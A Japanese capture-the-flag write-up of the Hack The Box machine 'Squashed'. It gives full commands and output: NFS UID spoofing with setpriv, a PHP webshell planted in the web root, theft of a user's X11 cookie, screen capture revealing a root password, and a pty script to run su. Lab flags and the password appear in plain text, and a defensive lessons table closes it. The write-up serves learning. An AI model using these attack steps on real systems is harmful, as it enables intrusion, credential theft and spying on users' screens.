Hack The BoxのWriteup(Squashed)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Squashed — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)/111+2049(NFS)
→
showmount -e
/var/www/html・/home/ross 公開
→
setpriv でUID偽装
ローカルユーザー作成不要
→
NFS経由でPHP Webシェル設置
UID 2017 = alex
→
user.txt ✓
→
.Xauthority窃取
UID 1001 = ross
→
xwdでX11スクリーンショット
KeePassXC画面
→
PTYトリックでsu root
Python pty.openpty()
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -sV -sC -p 22,80,111,2049 10.129.228.109
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
2049/tcp open  nfs
ℹ️
NFS(Network File System)が外部に公開されている点が最大の手掛かり。 NFSv3は標準設定ではクライアント側の申告したUID/GIDをそのまま信頼するため、 攻撃者がローカルのUIDを自由に名乗れれば認証を一切介さずファイルアクセス権を 偽装できる。Webサイトは「squashed.htb」という名前の「Built better」を謳う 架空のサービス紹介ページ。
PHASE 2

NFSエクスポート列挙とUID偽装

公開されているエクスポートを確認

BASH
showmount -e 10.129.228.109
RESULT
Export list for 10.129.228.109:
/home/ross    *
/var/www/html *
🚨
両方ともアクセス制限「*」= 誰でもマウント可能。Webサーバーの公開ディレクトリと、 一般ユーザーrossのホームディレクトリの両方がNFS越しに触れる。

エクスポートをマウント

BASH
mkdir -p /tmp/sq_nfs_html /tmp/sq_nfs_ross
mount -t nfs -o vers=3,nolock 10.129.228.109:/var/www/html /tmp/sq_nfs_html
mount -t nfs -o vers=3,nolock 10.129.228.109:/home/ross   /tmp/sq_nfs_ross
ls -la /tmp/sq_nfs_html
RESULT
ls: 'index.html' にアクセスできません: 許可がありません
d????????? ? ? ? ? ? .   (root としてのアクセスは root_squash により拒否)
⚠️
マウント自体は無認証で成功するが、エクスポート設定に root_squash(デフォルト)が効いているため、ローカルのrootとしてアクセスしても 権限なしの匿名ユーザーとして扱われ中身は見えない。ファイルの実オーナーと 同じ数値UID/GIDを名乗る必要がある。

setpriv で任意のUID/GIDを名乗る(ローカルユーザー作成不要)

BASH
setpriv --reuid 2017 --regid 2017 --clear-groups ls -la /tmp/sq_nfs_html
RESULT
drwxr-xr--  5 2017 www-data  4096 .
-rw-r--r--  1 2017 www-data    44 .htaccess
-rw-r-----  1 2017 www-data 32532 index.html
drwxr-xr-x  2 2017 www-data  4096 css / images / js
✅
setpriv --reuid <UID> --regid <GID> --clear-groupsは Linuxのutil-linuxパッケージに含まれる標準コマンドで、実際にそのUIDの ローカルアカウントを作らなくても「そのUID/GIDを名乗って1コマンドだけ実行する」ことができる。 NFSv3(sec=sys、既定の認証方式)はこの数値をそのまま信用するため、 `useradd`等でアカウントを恒久的に作る必要が一切ない (環境をクリーンに保てる点で望ましい手法)。ファイルオーナーUID 2017が Webアプリ実行ユーザーalexだと分かる。
PHASE 3

NFS経由でPHP Webシェルを設置 & user.txt取得

UID 2017としてPHP Webシェルを書き込む

BASH
setpriv --reuid 2017 --regid 2017 --clear-groups sh -c \
  "printf '%s' '<?php echo shell_exec(\$_GET[\"cmd\"] ?? \"id\"); ?>' > /tmp/sq_nfs_html/sh.php"
setpriv --reuid 2017 --regid 2017 --clear-groups chmod 0644 /tmp/sq_nfs_html/sh.php
ℹ️
NFS越しの書き込みも同じUID偽装が効く。/var/www/htmlがApacheのドキュメントルートと 一致するため、ここに置いたファイルはそのままHTTP経由で実行できる。

Webシェル経由でRCE確認 & user.txt取得

BASH
curl -s "http://10.129.228.109/sh.php?cmd=id"
curl -s "http://10.129.228.109/sh.php?cmd=cat%20/home/alex/user.txt"
RESULT
uid=2017(alex) gid=2017(alex) groups=2017(alex)
a01f269ed4f38b752d956f5868cfcd7d
user.txt — alex (NFS越しwebshell RCE)
a01f269ed4f38b752d956f5868cfcd7d
⚠️
実機でのハマりポイント: このマシンは/var/www/htmlの中身を 定期的にリセットするスクリプトが動いているらしく、設置したWebシェルが 数十秒〜数分おきに消えて404になることがある。消えていたら同じsetprivコマンドで 再設置すればよい。後続フェーズでも「直前に設置し、間を置かずすぐ使う」ことを意識する。
PHASE 4

rossの .Xauthority を窃取しX11画面をキャプチャ

UID 1001(ross)として .Xauthority を読み取る

BASH
setpriv --reuid 1001 --regid 1001 --clear-groups base64 -w0 /tmp/sq_nfs_ross/.Xauthority
RESULT
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABBpQ0Oe+QD07MJXGt9eisUE
ℹ️
.Xauthorityは所有者のみ読み取り可能(-rw-------)な X11セッション認証用のMIT-MAGIC-COOKIEファイル。これも setpriv --reuid 1001でross本人になりすませば問題なく読める。 rossはGUIデスクトップ(X11セッション)にログイン済みだと推測できる。

base64をURLエンコードしてWebシェル経由で /tmp に配置

BASH
B64=$(setpriv --reuid 1001 --regid 1001 --clear-groups base64 -w0 /tmp/sq_nfs_ross/.Xauthority)
curl -s --get "http://10.129.228.109/sh.php" \
  --data-urlencode "cmd=printf %s ${B64}|base64 -d>/tmp/.Xauthority_stolen"
🚨
実機でのハマりポイント(重要): base64文字列には+や/ などURLで特別な意味を持つ文字が含まれる。curl --data-urlencodeを使わず 生のbase64文字列を直接クエリパラメータに埋め込むと、+がPHPの $_GET解析時にスペースへ変換されて値が壊れる (一見「X11セッションが再起動してcookieが変わった」ように見える紛らわしい失敗だが、 実際はエンコード漏れが原因)。--data-urlencodeで確実にエンコードすること。

xwdでルートウィンドウのスクリーンショットを撮影

BASH
curl -s --get "http://10.129.228.109/sh.php" --data-urlencode \
  "cmd=XAUTHORITY=/tmp/.Xauthority_stolen xwd -root -screen -silent -display :0 2>/dev/null | base64 -w0" \
  -o screen_b64.txt
base64 -d screen_b64.txt > screen.xwd
convert screen.xwd screen.png
RESULT
screen.xwd: X-Window screen dump image data, version X11, 800x600x24, 256 colors
screen.png: PNG image data, 800 x 600
✅
盗んだ.Xauthorityで認証し、ross(あるいはross相当)がログイン中のX11セッションの 画面全体をリモートからキャプチャすることに成功。XサーバーはCookieさえ一致すれば どのホストからでも描画内容を読み取れてしまう仕様で、GUIアプリの画面内容が 丸ごと漏洩する。
PHASE 5

スクリーンショットからKeePassXCのroot平文パスワードを発見

取得したスクリーンショットを確認

NOTE
screen.png を開くと、パスワードマネージャー「KeePassXC」のウィンドウが前面に
開いたままの状態でキャプチャされている。一覧の "Password" 列に、
"HidePasswords"(表示時の●●●伏字)設定が無効化された状態で
root用エントリのパスワードがそのまま平文表示されている。
🚨
画面キャプチャに写っていたKeePassXCのエントリ:
Title: System ... / Username: root / Password: cah$mei7rai9A

通常KeePassXCはパスワード列を既定で伏字表示するが、設定で HidePasswords=falseになっていると一覧画面に平文のまま並ぶ。 データベース自体が暗号化されていても、アンロック済みの画面を覗き見できれば 暗号化は無意味という典型例。
PHASE 6

疑似端末(PTY)トリックで su root & root.txt取得

なぜ単純な echo pass | su では失敗するか

NOTE
Webシェル経由のコマンド実行には疑似端末(TTY)が割り当たっていない。
su はセキュリティ上の理由でTTY経由のパスワード入力を要求する実装が多く、
単純に `echo 'password' | su root -c '...'` と標準入力をパイプで渡すだけでは
"must be run from a terminal" 等のエラーで拒否されることが多い。

Python pty.openpty() で疑似端末を生成しsuへ割り当てる

PYTHON (su_pty.py)
import os, pty, select, subprocess, sys, time
master, slave = pty.openpty()
proc = subprocess.Popen(["su", "-", "root", "-c", "cat /root/root.txt"],
                        stdin=slave, stdout=slave, stderr=slave, close_fds=True)
os.close(slave)
time.sleep(0.5)
os.write(master, b"cah$mei7rai9A\n")   # KeePassXCから読み取ったパスワード
out = b""
end = time.time() + 12
while time.time() < end:
    r, _, _ = select.select([master], [], [], 0.5)
    if r:
        chunk = os.read(master, 4096)
        if not chunk: break
        out += chunk
proc.terminate()
sys.stdout.write(out.decode(errors="ignore"))
ℹ️
pty.openpty()でマスター/スレーブ一対の疑似端末デバイスを作成し、 suプロセスの標準入出力をスレーブ側に接続する。suからは 「正規のTTYから起動された」ように見えるため、通常のTTY前提チェックを通過できる。 マスター側に書き込んだバイト列がパスワードプロンプトへの入力として届く。

base64でWebシェル経由実行 & root.txt取得

BASH
B64=$(base64 -w0 su_pty.py)
curl -s --get "http://10.129.228.109/sh.php" \
  --data-urlencode "cmd=printf %s ${B64}|base64 -d|python3"
RESULT
Password:
c464750a989222b329a3d4894b1607d5
root.txt — root (PTYトリック経由のsu)
c464750a989222b329a3d4894b1607d5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — alex
a01f269ed4f38b752d956f5868cfcd7d
root.txt — root
c464750a989222b329a3d4894b1607d5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
無制限のNFSエクスポート + UID信頼 /var/www/html・/home/ross (NFSv3, sec=sys) Webルートへの任意ファイル書込み、他ユーザーファイルの無認証読取 Critical setprivでクライアント側UID/GIDを偽装し、サーバー側の認証を一切介さずアクセス権を得る
Webルート書込み権限 → RCE Apacheドキュメントルート(NFS越しに書込可能) リモートコード実行(alex権限) Critical PHP Webシェルを直接配置しHTTP経由で実行
X11セッション認証情報の漏洩 ross の .Xauthority (NFS越しに読取可能) 他ユーザーのGUI画面の盗撮 High MIT-MAGIC-COOKIEをコピーしxwdでリモートからスクリーンショットを取得
パスワードマネージャーの表示設定ミス KeePassXC (HidePasswords=false) root平文パスワードの漏洩 Critical アンロック済みのKeePassXCウィンドウがスクリーンショットにそのまま写り込み、一覧のパスワード列が平文表示

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/80(HTTP)/111+2049(NFS)
2NFS調査showmount + setpriv UID偽装/var/www/html(UID2017)・/home/ross(UID1001)への権限
3RCENFS経由でPHP Webシェル設置user.txt(alex)
4横移動準備.Xauthority窃取 + xwdスクリーンショットross X11セッションの画面キャプチャ
5資格情報発見KeePassXC画面の目視確認root:cah$mei7rai9A
6権限昇格PTYトリック経由のsuroot.txt

学んだ教訓 & 防御策

問題点防御策
NFSエクスポートが誰でもマウント可能(*)かつUIDベースの認証のみ エクスポート先IPを信頼できるホストに限定し、sec=krb5等Kerberos認証を使う。可能ならNFSv4+idmapdでのユーザー名ベース認証に移行する。
Webサーバーのドキュメントルートが書込可能なNFSエクスポート経由で誰でも書き換えられる Webルートは専用ユーザーの排他的な書込権限とし、デプロイ経路を限定する。
一般ユーザーの.Xauthorityが他ユーザーから読み取り可能な経路(NFS)に晒されている ホームディレクトリのNFSエクスポートは必要最小限にし、機密ファイルのパーミッションとエクスポート範囲を再確認する。SSH X11転送を使う場合も同様の注意が必要。
パスワードマネージャーの「パスワード非表示」設定が無効化されている KeePassXC等のパスワードマネージャーは既定でパスワード列を伏字にし、画面ロック(オートロック)を短時間に設定する。離席時は必ずロックする運用を徹底する。
HackTheBox: Squashed | 完全攻略レポート